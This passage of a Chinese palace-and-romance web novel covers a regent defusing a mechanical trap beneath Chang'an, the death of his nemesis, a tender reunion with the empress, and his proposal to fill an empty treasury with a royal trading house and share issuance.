所有人都屏住了呼吸。 整个地下空间安静得只剩下那个蓝色水晶,有节奏的搏动声,和远处孔志谦那越来越急促的呼吸声。 孔志谦也看到了林臻的动作。 他脸上的,那丝戏谑和得意渐渐地消失了。 取而代之的,是一种难以置信的惊骇! 他想不明白! 林臻到底想干什么?! 他难道真的想凭一己之力去挑战这个,由他穷尽毕生心血所创造出的完美死局吗?! 不可能! 这绝对不可能! 时间在这一刻仿佛被无限地放慢了。 林臻的眼中再也没有了周围的火把。 再也没有了身后的弟兄。 甚至再也没有了,那个状若疯魔的孔志谦。 他的眼中,只剩下了那个小小方形凹槽,和里面那十条代表着生与死的金属丝线。 他的心,在这一刻进入了一种前所未有的空明状态。 古井不波。 物我两忘。 然后。 他动了。 他的左手快得就像是一道根本无法用肉眼捕捉的幻影! “咻!” 一声轻得几乎无法听见的破空之声响起! 那九枚细如牛毛的银针,竟然在同一时间从他的指间激射而出! 化作了九道微弱的却又快到了极致的寒芒! 精准地射向了那九条颜色各异的主线路! 而他的左手大拇指也几乎在同一时间,带着那枚漆黑的墨玉扳指闪电般地探入了凹槽之中! 目标直指那条最关键的,金色主感应线! 一念生。 一念死。 成败,在此一举! 第1142章 机关破! “噗!噗!噗!噗!噗!噗!噗!噗!噗!” 九声微弱得几乎无法听见的、利刃切断丝线的轻响,在同一时刻,骤然响起! 那九枚银针,如同长了眼睛一般,以一种凡人根本无法理解的精度,在同一瞬间精准无比地切断了那九条颜色各异的主线路! 没有一丝一毫的偏差! 没有一丝一毫的延迟! 而就在那九条主线路被切断的、千分之一刹那! 林臻戴着墨玉扳指的左手大拇指,也已经如同一道黑色的闪电,精准地按在了那条连接着蓝色水晶的、金色的主感应线上! “滋——” 一声轻微的、仿佛是电流被瞬间截断的声音响起! 那块原本还在随着孔志谦心跳、有节奏地搏动着的蓝色水晶,在这一刻猛地剧烈地闪烁了一下! 然后,所有的光芒瞬间熄灭! 整个地下空间,在这一瞬间陷入了死一般的寂静。 时间仿佛凝固了。 所有人都瞪大了眼睛,屏住了呼吸,心脏几乎要从嗓子眼里跳了出来。 他们看着林臻,看着他那只还按在凹槽里的左手。 一秒。 两秒。 三秒。 …… 预想中的惊天动地的大爆炸,并没有发生。 整个地下空间,依旧是一片死寂。 只有,远处,孔志谦那因为极度的震惊和恐惧而变得如同破风箱一般粗重的喘息声。 “成……成功了?” 不知是谁用一种梦呓般的颤抖的声音,问了一句。 “轰——” 这句话像是一颗火星,瞬间点燃了所有人心中的狂喜! “成功了!我们成功了!” “王爷!您成功了!” “天佑大乾!天佑陛下啊!” 劫后余生的巨大喜悦,淹没了所有的“夜枭”死士! 他们一个个再也控制不住自己,激动地欢呼着,嘶吼着,甚至有不少铁骨铮铮的汉子,当场就流下了滚烫的热泪! 他们赢了! 他们跟着他们的王爷,又一次创造了一个不可能的奇迹! 他们,从阎王爷的手里硬生生地把整个长安城给抢了回来! 然而,就在所有人都沉浸在狂喜之中时。 林臻,却猛地一口鲜血喷了出来! “噗——” 那口鲜血,又急又猛,直接将他面前的地面染红了一片。 他整个人,也像是被抽去了所有的力气一般,身体一软向后倒去。 “王爷!” 离他最近的鬼影,被这突如其来的一幕,吓得魂飞魄散! 他一个箭步冲上前,连忙扶住了林臻那摇摇欲坠的身体。 “王爷!您怎么样?!” 他的声音里,充满了无法掩饰的惊慌和恐惧。 “我……我没事……” 林臻摆了摆手,脸色苍白得像一张纸,没有一丝一毫的血色。 他的左手,还在不受控制地微微颤抖着。 刚才那一下看似行云流水,一气呵成。 但只有他自己知道,那短短的不到一息的时间里,他到底承受了多么巨大的压力! 那不仅仅是,对技术和速度的极限考验。 更是,对心神和意志的极致摧残! 为了保证那百分之一息的绝对同步。 他几乎是在一瞬间将自己全身的,精、气、神,全都燃烧到了极致! 那种消耗,远比他跟人生死搏杀大战三百回合,还要恐怖得多! 现在的他只觉得自己的身体,像是被彻底掏空了一般,浑身上下,没有一丝一毫的力气。 甚至连站都快要站不稳了。 “快!快扶王爷坐下!” “太医!太医呢?!” 周围的“夜枭”们,也全都从狂喜中反应了过来,一个个手忙脚乱地围了上来。 “都……都别慌……” 林臻靠在鬼影的身上,喘着粗气声音,虚弱,却依旧带着一丝不容置疑的威严。 “我说了……我没事……只是……脱力了而已……休息一下……就好……” 他看了一眼,那个已经被彻底熄灭的蓝色水晶。 又看了一眼远处那个被绑在阀门上,因为极度的震惊和失败而彻底陷入了呆滞的孔志谦。 嘴角终于露出了一丝如释重负的笑容。 赢了。 这一次,是真的赢了。 “孔志谦……” 他看着那个,已经彻底失去了所有精气神的一生之敌。 声音虽然虚弱,却充满了胜利者的骄傲。 “你还有什么后手吗?” 孔志谦,没有回答。 他只是,呆呆地看着林臻。 那双曾经充满了疯狂、怨毒和智慧的眼睛里,此刻只剩下一片空洞的死灰。 他想不明白。 他真的,想不明白。 为什么? 为什么会这样? 他的计划明明是完美的! 他的死局明明是无解的! 这个世界上怎么可能会有人能用如此匪夷所所思的方式破解它? 这不合常理! 这不符合他所认知的一切机关术的逻辑! 除非…… 除非这个男人,他根本就不是人! 他是一个怪物! 一个彻头彻尾的怪物! “噗——” 一口黑色的带着腥臭味的淤血,猛地从孔志谦的口中喷了出来! 他那颗本就因为仇恨和疯狂而早已千疮百孔的心,在这一刻终于承受不住这最终的也是最沉重的一击! 彻底地碎了! 他的脑袋,无力地垂了下去。 眼中的最后一丝神采,也彻底地消散了。 这个搅动了天下风云。 这个让整个大乾都为之胆寒的绝世毒士。 这个让林臻和慕容嫣都数次陷入绝境的一生之敌。 终于在这一刻。 被他自己亲手布下的最完美的死局。 和林臻那如同神迹一般的惊天一击。 给活活地气死了。 …… 当林臻,在鬼影和一众“夜枭”的搀扶下,从那阴暗潮湿的,地下空间里走出来的时候。 天边已经泛起了一丝鱼肚白。 新的一天就要来了。 林臻看着那从地平线上缓缓升起的朝阳。 感受着那温暖的,充满了希望的光芒。 只觉得自己那颗紧绷了整整一个月的心,终于在这一刻彻底地放了下来。 他知道。 一切都结束了。 那些隐藏在黑暗中的魑魅魍魉。 那些纠缠了他们太久太久的噩梦。 终于都烟消云散了。 一个真正属于他和嫣儿的全新的光明时代。 即将到来。 他转过头,看了一眼身后那座依旧灯火通明的皇宫。 嘴角缓缓地勾起了一抹温柔的笑容。 “嫣儿,我回来了。” 第1143章 决战之夜 栖凤阁内,慕容嫣一夜未眠。 她依旧穿着那身作为唯一寝衣的神凤降世裙,就那么静静地坐在窗边,从月落,一直等到星稀。 她没有批阅奏折,也没有看书。 她只是呆呆地望着玄武门的方向。 那双平日里总是充满了智慧和威严的凤眸之中,此刻却写满了无法掩饰的焦虑和担忧。 那极致玄黑的苏锦底料,在黎明前最深沉的黑暗中,仿佛与夜色融为了一体,只有当偶尔有宫灯的光晕扫过时,那用真金线绣成的擎天巨凤,才会隐隐地反射出一丝弱的却又执着的光芒,像是在无声地陪伴着,它那心事重重的主人。 这件以轻盈透气的苏锦工艺织就的棉质睡裙,虽然裙幅巨大,拖尾长达五丈,但因为她长时间地,保持着一个姿势,那柔软的布料,便安静地,贴合着她纤细的身形,将她那因为担忧而显得,格外单薄的剪影,勾勒得淋漓尽致。 那长长的墨金色苏锦拖尾,从她的脚下一直铺陈到寝殿的深处,像一片被无边黑夜所笼罩的,沉默的云海。 她知道今夜是决战之夜。 成则长安无恙,大乾无忧。 败则万劫不复,玉石俱焚。 她相信林臻。 她比这个世界上,任何一个人都更相信,那个被她爱入骨髓的男人。 但相信,不代表不担心。 一想到他此刻正在那阴暗潮湿的地下,面对着那个疯子留下的最致命的杀局。 一想到他随时都可能会遇到生命危险。 她的心就揪得生疼。 她甚至有些后悔。 后悔当初为什么要答应他让他一个人去。 她应该陪着他的。 哪怕她什么也做不了。 至少她可以陪着他一起面对。 无论是生,还是死。 “吱呀——” 就在她胡思乱想,心乱如麻的时候。 寝殿的大门被轻轻地推开了。 慕容嫣的心,猛地一跳! 她霍然转过头! 只见一道熟悉得不能再熟悉的身影,正沐浴在清晨的第一缕微光之中,缓缓地向她走来。 是林臻。 他回来了。 他平安地回来了。 那一瞬间,慕容嫣只觉得自己那颗悬了一整夜的心,终于“轰”的一声落回了实处。 巨大的,难以言喻的喜悦和安心,如同决了堤的洪水一般,瞬间将她整个人都淹没了。 她什么也顾不得了。 提着那繁复的裙摆,赤着双脚,就像一只终于找到了归巢的乳燕,不顾一切地向着他跑了过去! 因为她不顾一切的跑动,那长达五丈的墨金色苏锦拖尾,在她身后,被带起了一片磅礴而凌乱的浪潮! 随着拖尾的轰然飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在清晨柔和的金色光辉映照下,那片金光,不再是之前的焦虑与担忧,而是迸发出一种,如同雨后初晴、拨云见日般,充满了无尽喜悦与安心的、无比温暖而璀璨的光芒! 那只凤凰,在瞬间迸发出一种终于等到自己的英雄凯旋归来的、无比欢欣与雀跃的辉光! 那光芒充满了重逢的喜悦,卸下重担的轻松,以及一种将所有风雨都关在门外的家的温暖与安宁。 裙摆落下,将那片温暖的喜悦的金光掩盖。 她已经一头扎进了他的怀里。 “夫君!” 她紧紧地抱着他,将自己的脸深深地埋在他那带着地下水道的恶臭和泥土味的胸膛上,仿佛要将自己整个人都揉进他的身体里。 她能感觉到,他的身体很冷很僵硬。 她能闻到他身上那股淡淡的却又无法掩饰的血腥味。 她的眼泪再也忍不住了。 大颗大颗地滚落下来,瞬间便浸湿了他胸前的衣襟。 “我回来了,嫣儿。” 林臻也紧紧地回抱着她。 他感受着怀中人儿的颤抖和泪水。 感受她那毫无保留的依赖和爱恋。 只觉得,自己这一夜所承受的所有的疲惫、凶险和压力,在这一刻全都烟消云散了。 一切都值了。 “你这个,坏蛋……” 慕容嫣在他的怀里闷闷地哭着,粉拳一下又一下地捶打着他那坚实的胸膛。 “你知不知道……我有多担心你……” “你知不知道……我一晚上,都没合眼……” “你为什么,现在才回来……” 她像一个,受了天大委屈的小女孩,语无伦次地控诉着,发泄着自己这一夜所积攒的所有的恐惧和不安。 林臻没有说话。 他只是任由她打着,骂着。 脸上却带着宠溺的,温柔笑容。 许久,等她哭够了也闹够了。 他才低头轻轻地吻去了,她脸上的泪痕。 “好了,不哭了。” 他的声音沙哑,却温柔得能滴出水来。 “再哭眼睛就要肿成核桃了。明天还怎么上朝?” “我不管!”慕容嫣抽了抽鼻子,声音里还带着浓浓的鼻音,“我今天哪里也不去!我就要你陪着我!” “好好。”林臻笑着应道,“都依你,都依你。今天,天大的事情也别想把我们分开。” 他牵着她的手,将她拉到一旁的软榻上坐下。 然后他才将今夜在玄武门下发生的一切,原原本本地告诉了她。 当慕容嫣听到,孔志谦竟然还没死。 竟然用自己的心跳做最后的要挟时。 那张刚刚才雨过天晴的俏脸,瞬间又变得煞白! 她的手下意识地抓紧了林臻的衣袖。 “那……那后来呢?” 她的声音都在发抖。 当她听到林臻竟然以一人之力,在千钧一发之际,破解了那个无解的死局时。 那双美丽的凤眸之中瞬间又迸发出了无比璀璨的光芒! 那光芒里充满了劫后余生的庆幸。 充满了对他的无与伦比的崇拜! 和深入骨髓的骄傲! 这就是她的男人! 这就是她慕容嫣,选中的夫君! 是这个世界上,独一无二的盖世英雄! “夫君……” 她看着他那张因为疲惫和失血,而显得格外苍白的脸。 看着他那双布满了血丝的眼睛。 心中又是心疼,又是骄傲。 她主动地凑上前,在他的唇上印下了一个,滚烫的深情的吻。 第1144章 还有什么比储君更重要的? 林臻被她这突如其来的、主动的吻,给弄得微微一愣。 随即,一股巨大的、难以言喻的喜悦和满足感,便如同潮水一般瞬间淹没了他。 他反客为主,伸出双臂紧紧地将她拥入怀中加深了这个吻。 这个吻,不再像之前那样带着试探和情欲。 而是充满了,劫后余生的庆幸和失而复得的珍视。 仿佛要将彼此都揉进自己的骨血里,再也不分开。 许久,唇分。 两人的呼吸都有些急促。 慕容嫣的脸颊,泛着一抹动人的红晕,那双水光潋滟的凤眸,痴痴地看着他,仿佛怎么也看不够。 “傻丫头,这么看着我干什么?”林臻被她看得有些不好意思,伸出手宠溺地刮了刮她的鼻尖。 “看你好看啊。”慕容嫣理所当然地说道,声音里带着一丝小女孩般的娇憨,“我的夫君,是全天下最英俊、最厉害的英雄。我多看几眼,不行吗?” 这句发自肺腑的、带着浓浓崇拜意味的夸赞,让林臻这个在尸山血海中都面不改色的大乾战神,耳根竟然微微地有些发烫。 “油嘴滑舌。”他嘴上虽然这么说,但那上扬的嘴角,却暴露了他此刻那无比愉悦的心情。 他将她更紧地搂在怀里,下巴轻轻地抵在她的发顶,深深地吸了一口,那能让他心安的熟悉的兰花香气。 “嫣儿,都结束了。”他的声音低沉而又充满磁性。 “嗯,都结束了。”慕容嫣在他的怀里蹭了蹭,找了个更舒服的姿势,声音也变得轻快起来。 “孔志谦那个疯子死了。他那些徒子徒孙也都被一网打尽了。长安城的危机也解除了。从今天起,我们是不是就可以高枕无忧了?” “差不多吧。”林臻笑了笑,“至少,在未来的很长一段时间里,应该不会再有不长眼的家伙,敢来招惹我们了。” 他顿了顿,语气变得有些促狭。 “所以我们是不是也该,办点我们自己的正事了?” “正事?”慕容嫣一愣,没反应过来。 “对啊。”林臻低头,灼热的呼吸喷洒在她的耳畔,声音暧昧而又沙哑。 “比如说我们那场被耽搁了,两次的婚礼。” “再比如说,我们大乾的储君问题……” “你……!” 慕容嫣的脸,“轰”的一下瞬间红得像要滴出血来! 她这才明白,这个坏蛋说的“正事”到底是什么! 她又羞又气,伸出粉拳在他坚实的胸膛上不轻不重地捶了一下。 “你这个,不正经的家伙!脑子里,整天,都在想些什么!” “我怎么不正经了?”林臻一脸无辜地看着她,“我说的可都是关系到国本的头等大事!难道,不是吗?” “你……你还说!” 慕容嫣羞得恨不得,找个地缝钻进去。 她索性将自己的脸深深地埋进他的怀里,当起了鸵鸟。 林臻看着她那,如同熟透的苹果一般娇艳欲滴的俏脸。 看着她那因为害羞,而微微颤抖的长长睫毛。 只觉得自己那颗刚刚才平静下来的心,又一次不争气地狂跳了起来。 他再也控制不住自己。 低头便要吻下去。 然而就在这时。 “咚——咚——咚——” 一阵沉闷的悠长的钟声,突然从皇城的钟楼之上传来。 这是早朝的钟声。 林臻的动作,再一次僵在了半空中。 他的脸瞬间就黑了。 “这帮老家伙!”他咬牙切齿地,从牙缝里挤出了几个字,“就不能让人安生一天吗?!” 慕容嫣则像是抓住了救命稻草一般,用力地将他推开。 然后手忙脚乱地从软榻上跳了下来,整理着自己那身有些凌乱的神凤降世裙。 “好啦,好啦。”她看着林臻那副欲求不满的憋屈模样,强忍着笑意,说道,“正事要紧,正事要紧。今天可是我们彻底平定内忧外患之后,第一次真正意义上的大朝会。可不能迟到了。” “有什么要紧的!”林臻没好气地说道,“天大的事情,还能比我们大乾的储君问题更要紧吗?!” “噗嗤——” 慕容嫣终于还是没忍住,笑了出来。 她这一笑如百花盛开,看得林臻都有些痴了。 “好啦,我的好夫君,我的大英雄。”她走到他的面前,踮起脚尖主动地在他的唇上亲了一下,声音软得像棉花糖。 “乖,听话。等晚上回来,我……我都依你还不行吗?” 她说到最后,声音细若蚊呐,脸颊也再次飞上了两抹动人的红霞。 林臻的心瞬间就软了。 也热了。 “这可是你说的。”他一把将她重新拉入怀中,用一种极具侵略性的目光看着她,“君无戏言。到时候可不许耍赖。” “我……我什么时候,耍过赖了……”慕容嫣在他的灼热的,目光注视下心如鹿撞,声音也变得有些结巴。 “那就好。” 林臻满意地笑了。 他松开她,转身叫了宫人进来,伺候两人洗漱更衣。 一刻钟后。 当两人再次并肩走出栖凤阁时。 已经重新变回了那个威严的摄政王。 和那个高贵的女皇帝。 只是那眉眼之间藏不住的浓情蜜意和那紧紧相牵的双手,却在无声地向全世界宣告着,他们的幸福和甜蜜 今日的太极殿气氛,与往日截然不同。 没有了之前的紧张和肃杀。 取而代之的是一种发自内心的轻松和喜悦。 文武百官们一个个都面带笑容精神焕发。 他们知道,从今天起,大乾将迎来一个全新的时代。 一个真正国泰民安,四海升平的盛世! 当林臻和慕容嫣并肩走上御阶时。 所有官员全都发自肺腑地躬身下拜。 那声“陛下万岁!王爷千岁!”喊得比以往任何时候都更加响亮,也更加真诚。 “众卿平身。” 慕容嫣端坐在凤椅之上,声音清越,而又充满了自信。 她依旧穿着那身华贵无双的神凤降世裙外面,罩着那件象征着至高皇权的黑金色霞帔。 此刻的她,在太极殿那庄严肃穆的氛围衬托下,显得愈发地光彩照人威严无双。 那极致玄黑的苏锦底料如同最深沉的夜空。 而那只用真金线绣成的擎天巨凤,则如同夜空中最璀璨的星辰。 凤目炯炯,睥睨天下。 仿佛在向所有人宣告。 这个由她和她身边的男人共同打下来的江山。 将万世永固! 她身后的那长达五丈的墨金色苏锦拖尾,平整地铺开,与林臻的墨麒麟亲王袍服的拖尾,交织在一起,覆盖了整个巨大的丹陛。 黑金交织。 龙凤和鸣。 象征着这对传奇帝后,那牢不可破的联盟。 和那至高无上的绝对权力! 第1145章 出门没看黄历 太极殿上的大朝会,在一种近乎狂热的、山呼海啸般的“万岁”声中,落下了帷幕。 文武百官们退朝的时候,一个个都还觉得脚下轻飘飘的,像是踩在云端里,脸上那种发自内心的激动和振奋,怎么也掩饰不住。 漠北归心,江南底定,盘踞朝堂多年的世家门阀势力,也被连根拔起。 所有人都知道,一个真正属于大乾的,前所未有的辉煌盛世,已经由高坐于龙椅凤座之上的那对年轻帝后,亲手开启了。 从太极殿回到栖凤阁,慕容嫣长长地舒了一口气,整个人都放松了下来,直接将自己扔进了那张宽大柔软的凤榻里。 “累死我了。”她嘟囔了一句,声音里带着一丝撒娇的意味。 林臻看着她那副慵懒的可爱模样,笑着摇了摇头,走上前坐在榻边,伸手将她散落在脸颊上的一缕秀发轻轻地掖到耳后。 “现在知道累了?刚才在朝堂上,训斥孔颖达那个老狐狸的时候,我瞧着你,可威风得很呐。” “那是自然。”慕容嫣得意地扬了扬下巴,“在外面,我可是大乾的女皇帝,自然要拿出皇帝的威严来。不过嘛,回了这栖凤阁,我就是你的妻子,当然是怎么舒服怎么来了。” 她一边说着,一边顺势滚进了林臻的怀里,像只温顺的猫儿,找了个最舒服的姿势蹭了蹭。 林臻被她这亲昵的动作弄得心头一热,伸出手将她紧紧搂住。 “夫君,”慕容嫣靠在他的胸膛上,听着那沉稳而有力的心跳,轻声问道,“你说,孔颖达那个老头,今天跑来这么一出大义灭亲,到底安的是什么心?” “还能安什么心?”林臻不屑地冷哼了一声,“无非就是想演一出苦肉计,好让他孔家,从孔志谦那桩泼天的谋逆大案里,彻底地摘出去罢了。” “他以为,他主动提出要亲手处死自己的侄子,摆出一副忠君爱国的模样,我们就会念在他孔家那点圣人之后的虚名上,对他网开一面。只可惜,他这点小聪明,用错了地方。” “他也不想想,我们连孔志谦那个疯子都收拾了,又岂会,被他这种上不得台面的小伎俩给唬住?” 慕容嫣听着林臻那充满不屑的话,忍不住“噗嗤”一声笑了出来。 “你啊,就是坏。人家孔尚书,好歹也是当世大儒,满朝文武都看着呢,你倒好,一点面子都不给他留,三言两语,就把人家的官给罢了,还罚了那么多钱。我瞧着他最后那副失魂落魄的样子,真是怪可怜的。” “可怜?”林臻的眉头,挑了一下,“嫣儿,你可别被他那副可怜巴巴的样子给骗了。这种读了一辈子圣贤书,把礼法、名声看得比自己命都重要的老顽固,才是最可怕的。” “孔志谦为什么会变成那个样子?还不是因为从小,就被他们孔家,灌输了太多圣裔、天选的念头?骨子里的那种傲慢和偏执,是改不掉的。” “今天,我就是要当着满朝文武的面,狠狠地敲打他!敲打整个孔家!我就是要让全天下的人都看看,在我大乾,没有什么圣人之后,没有什么世家门阀!只有,遵纪守法的,大乾子民!” “王子犯法,与庶民同罪!这才是我和你想要建立的,真正的朗朗乾坤!” 慕容嫣静静地听着,那双美丽的凤眸之中,异彩连连。 她知道,林臻说得对。 想要开创一个全新的时代,就必须先打破那些陈旧的,腐朽的规则。 而孔家就是那些旧时代规则的,最好代表。 今日,林臻当着满朝文武的面,重惩孔家,这不仅仅是在处理一个谋逆案的余波。 更是在向全天下,宣告一个新时代的,到来! 她心中豪情万丈,忍不住伸出双臂,勾住林臻的脖子,主动地,在他的唇上,印下了一个吻。 “夫君,你真好。” 林臻被她这突如其来的夸赞,弄得有些发愣,随即,心中便涌起了一股巨大的满足感。 他低头,看着怀中人儿那张因为激动而微微泛红的俏脸,和那双亮得惊人的凤眸,只觉得自己为这个国家,为她所做的一切都是值得的。 今日的慕容嫣,因为是战后第一次正式的大朝会,所以穿得格外隆重。 她依旧穿着那身作为唯一寝衣的神凤降世裙,只是在外面,重新罩上了那件代表着至高皇权的黑金色霞帔。 此刻,她慵懒地靠在林臻的怀里,那件繁复的霞帔已经被她随手扔在了一边。 没有了霞帔的束缚,这件神凤降世裙的轻盈与华贵才真正地展现了出来。 那极致玄黑的苏锦底料,在寝殿内柔和的宫灯光晕下呈现出一种天鹅绒般的、温暖而深邃的质感,仿佛能将所有的光线都吸进去。 而那只用无数根真金线,和最顶级的金色棉绒,一针一线,手工绣出的擎天巨凤,则在这极致的黑的衬托下,显得愈发地璀璨夺目。 凤凰的羽翼,从她的肩头一直舒展到裙摆的尽头,每一根凤羽,都仿佛在流淌着熔化的黄金,充满了无与伦比的生命力和力量感。 那双用黑曜石点缀的凤目,更是炯炯有神,仿佛在无声地宣告着它主人至高无上的威严。 因为两人是依偎在凤榻之上,那长达五丈的墨金色苏锦拖尾,便从榻上迤逦而下,如同黑金色的瀑布,在地面上,堆叠成一片充满了慵懒与亲昵的华丽的凌乱。 林臻看着眼前这副江山与美人尽皆在怀的景象,只觉得自己是这个世界上最幸福的男人。 他忍不住低头,便要去寻那诱人的红唇。 然而,就在这时。 “咳咳!” 一声熟悉的,不合时宜的,苍老的咳嗽声又一次从殿外响了起来。 林臻的脸瞬间就黑了。 又是杜如晦这个老头! 他今天,是跟自己杠上了吗?! “杜相!!”林臻几乎是咬牙切齿地,对着殿外喊道,“你最好是真的有什么天塌下来的大事!否则,本王今天就把你发配到漠北,去跟郑大元帅作伴!” 殿外的杜如晦,听着里面那明显带着滔天怒火的声音,吓得浑身一哆嗦,差点没直接跪下去。 他今天,出门一定是没看黄历! 怎么又撞枪口上了?! “王……王爷息怒!陛下息怒!”他连忙在殿外,噗通一声跪倒在地,声音都带上了哭腔,“老臣……老臣也不想啊!只是……只是户部的周尚书,他……他抱着账本,跪在紫宸殿门口,死活不肯走啊!” “他说……他说国库真的一滴都没有了!” 第1146章 国库空虚怎么办 “一滴都没有了?” 林臻和慕容嫣对视了一眼,都从对方眼中,看到了一丝无奈和头疼。 这才刚刚平定了内忧外患,准备过两天安生日子呢。 怎么又冒出个国库空虚的问题来? “让他进来吧。”慕容嫣揉了揉有些发胀的眉心,有气无力地说道。 林臻虽然心里一百个不情愿,但也知道,这事儿确实是眼下最要紧的大事耽搁不得。 他只能黑着一张脸,从凤榻上下来,一边整理着自己的衣袍一边对着外面喊道:“让周尚书进来!” 很快,户部尚书周兴,一个身材微胖,看起来像个富家翁多过像个朝廷大员的老头,便抱着一本比城墙拐角还厚的巨大账本,哭丧着一张脸,连滚带爬地冲了进来。 他一进殿,便“噗通”一声,跪倒在地,那肥硕的身体砸在金砖地面上发出了一声沉闷的巨响。 “陛下!王爷!您二位可要为老臣,为我们户部做主啊!” 他一把鼻涕一把泪地哭嚎道,那声音,听起来,比死了亲爹还惨。 “周爱卿,你这是做什么?快快请起。”慕容嫣看着他那副夸张的模样,有些哭笑不得。 “老臣不敢起!”周兴抱着那本大账本,死活不肯起来,“陛下,王爷,您二位是不知道啊!咱们的国库,现在是真的空了!别说是一滴了,老臣刚才去看,连耗子进去都得含着眼泪出来啊!” “前阵子,为了北伐漠北,国库就已经被掏空了一大半。后来又是江南叛乱,又是运河投毒,又是全城改造……这一桩桩,一件件,哪一样,不要钱啊?” “开仓放粮,要钱!深挖水井,要钱!抚恤伤亡的将士和百姓,更要钱!还有那些从江南查抄上来的世家田产商铺,也需要派人去接收,去管理,这又是一大笔开销!” “老臣这几天,头发都愁白了一大把!天天晚上做梦,都梦见一群穿着铠甲的将军,和一群拿着锄头的百姓,追在老臣屁股后面要钱啊!” 周兴说得是声泪俱下,闻者伤心,听者落泪。 林臻看着他那副活宝的样子,原本心里的那点不快,也消散了不少。 他知道,周兴说的都是实情。 打仗打的就是钱粮。 大乾这两年,南征北战,东讨西伐,虽然仗是打赢了,但国家的元气,也确实是伤得不轻。 他走上前,将周兴从地上扶了起来。 “周尚书,辛苦你了。” “王爷啊!”周兴一被扶起来,便抓着林臻的袖子,不肯松手,“您可得给老臣,想个法子啊!再这么下去,别说是什么开创盛世了,我们户部,马上就要关门大吉,老臣我也只能,回家卖红薯去了!” “行了行了,瞧你那点出息。”林臻没好气地白了他一眼,“多大点事儿,至于吗?” 他拉着周兴,走到一旁的椅子上坐下,然后才缓缓地说道:“钱的事,你不用愁。本王早有准备。” “哦?”周兴和一旁的杜如晦,眼睛都是一亮。 慕容嫣也好奇地看了过来。 她知道林臻一向足智多谋,但她也没听他说起过,关于解决财政问题的方法。 只见林臻不慌不忙地,端起桌上的茶杯,喝了一口,才慢悠悠地说道:“你们是不是忘了,我们在江南,抄了多少家?” “王家,孙家,还有那些大大小小,跟着李显一起造反的世家门阀。他们盘踞江南数百年,一个个,都富得流油。他们府上查抄出来的金银珠宝,古玩字画,加在一起,都快赶得上我们大乾,一年的税收了。” “老臣知道啊!”周兴苦着一张脸说道,“可是王爷,这些东西,它不能当饭吃,也不能当军饷发啊!总不能让将士们,一人抱一个古董花瓶,上阵杀敌吧?” “谁说不能了?”林臻的嘴角,勾起了一抹高深莫测的笑容。 他看着周兴,一字一句地说道:“这些东西,虽然不能直接用。但是,我们可以把它们变成钱。” “变成钱?”周兴和杜如晦,都愣住了。 “没错。”林臻点了点头,“我们可以,成立一个由朝廷控股的商行。就叫,‘大乾皇家商行’!” “这个商行,专门负责处理我们从那些逆贼府上,查抄来的所有资产!不管是古董字画,还是绫罗绸缎,甚至是田产商铺,都可以通过这个商行进行拍卖,或是直接对外出售!” “如此一来,我们不仅能,在最短的时间内,将这些死物,变成实实在在的,白花花的银子。而且,还能通过这个商行,控制住江南,乃至整个天下的,商业命脉!” “这……”周兴和杜如晦,听得是目瞪口呆! 他们做梦也想不到,这位在战场上杀伐决断的摄政王,在算计人心上,是顶尖的高手。 在经商赚钱这方面,竟然,也他娘的是个天才! 成立皇家商行? 将查抄来的资产,进行拍卖? 控制天下商业命脉? 这……这简直就是闻所未闻,见所未见的,神仙操作啊! 慕容嫣的美眸之中,也迸发出了无比璀璨的光芒! 她也被林臻这个,天马行空,却又无比精妙的构想,给彻底地震撼了! 她知道,这个计划一旦成功,那困扰着大乾的财政危机,将迎刃而解! 甚至,大乾的国力,还会在极短的时间内,得到一个,爆炸性的,增长! 此刻,她慵懒地靠在凤榻之上,身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了她那激动的心情。 那极致玄黑的苏锦底料,在明亮的烛光下,非但没有显得沉闷,反而,因为她那重新燃起的希望和斗志,而呈现出一种,如同黑曜石般,坚硬而又闪亮的光泽。 那只用真金线绣成的擎天巨凤,更是仿佛要活过来一般! 凤目之中,金光爆射,充满了对未来的,无限憧憬和强大自信! 那长达五丈的墨金色苏锦拖尾,从她的脚下,一直铺陈到林臻的脚边,将两人,紧紧地联系在了一起。 仿佛在向世人宣告,这对传奇的帝后夫妻,将再一次并肩携手开创一个前所未有的商业帝国! “好!好啊!王爷此计,真乃神来之笔啊!”周兴激动得,浑身的肥肉都在颤抖,“老臣,佩服!佩服得五体投地啊!” “王爷,”杜如晦也抚着自己的胡须,由衷地赞叹道,“您这‘化死为活’的本事,真是让老臣,大开眼界。如此一来,国库之危,可解矣!” “这还只是第一步。”林臻看着两人那副激动的模样,笑了笑,又抛出了一个,更重磅的炸弹。 “等皇家商行步入正轨之后,我们还可以发行一种东西。” “叫做,‘股票’。” 第1147章 发行股票 “股票?” 周兴和杜如晦,这两个加起来快一百五十岁的老头,面面相觑,脸上,写满了大大的问号。 这又是个什么玩意儿? 听起来,比刚才那个“皇家商行”,还要让人摸不着头脑。 慕容嫣也好奇地看了过来,她虽然对林臻有着近乎盲目的信任,但“股票”这个词,她也同样是第一次听说。 林臻看着三人那副好奇宝宝的样子,心中暗笑,清了清嗓子,开始了他这个“异界金融家”的,第一次,科普讲座。 “所谓的股票,其实很简单。”他尽量用一种,他们能听得懂的语言,解释道,“我们可以把‘大乾皇家商行’,想象成一个巨大的,会下金蛋的,老母鸡。” “这只老母鸡,现在,是我们朝廷独有的。它下的所有金蛋,也都归我们国库所有。” “但是,我们现在不是缺钱吗?光靠它自己下蛋,还是太慢了。怎么办呢?” “我们可以,把这只老母鸡,分成,比如说,一百万份。每一份,就代表着,这只老母鸡,一百万分之一的,所有权。而这一份一份的,所有权,就叫做,‘股票’。” “然后,我们可以拿出其中的一部分股票,比如说三十万份放到市面上去卖给那些有钱的商人,甚至是普通的百姓!” “他们买了我们的股票,就等于拥有了我们皇家商行一部分的所有权。他们就成了我们商行的‘股东’。” “如此一来,我们可以在极短的时间内,从民间募集到一笔天文数字般的巨款!用来充实国库,用来搞建设,用来给将士们发军饷!” “而那些买了我们股票的‘股东’,也不是白白出钱。我们皇家商行,每年赚到的钱,除了上缴国库的那一部分,剩下的就可以按照他们持有股票的比例,分给他们!这就叫做分红!” “我们商行赚得越多,他们分的钱就越多!他们手中的股票也就越值钱!他们甚至可以,将自己手中的股票卖给其他人来赚取差价!” “这样一来我们就将整个天下的财富,都和我们大乾的国运,和我们皇家商行紧紧地捆绑在了一起!” “我们吃肉,他们也能跟着喝汤!大家都有钱赚!都有好日子过!他们又岂会,不拼了命地,拥护我们?拥护我们大乾?” 林臻的这番话,如同一道道天雷,在周兴和杜如晦的脑子里,轰然炸响! 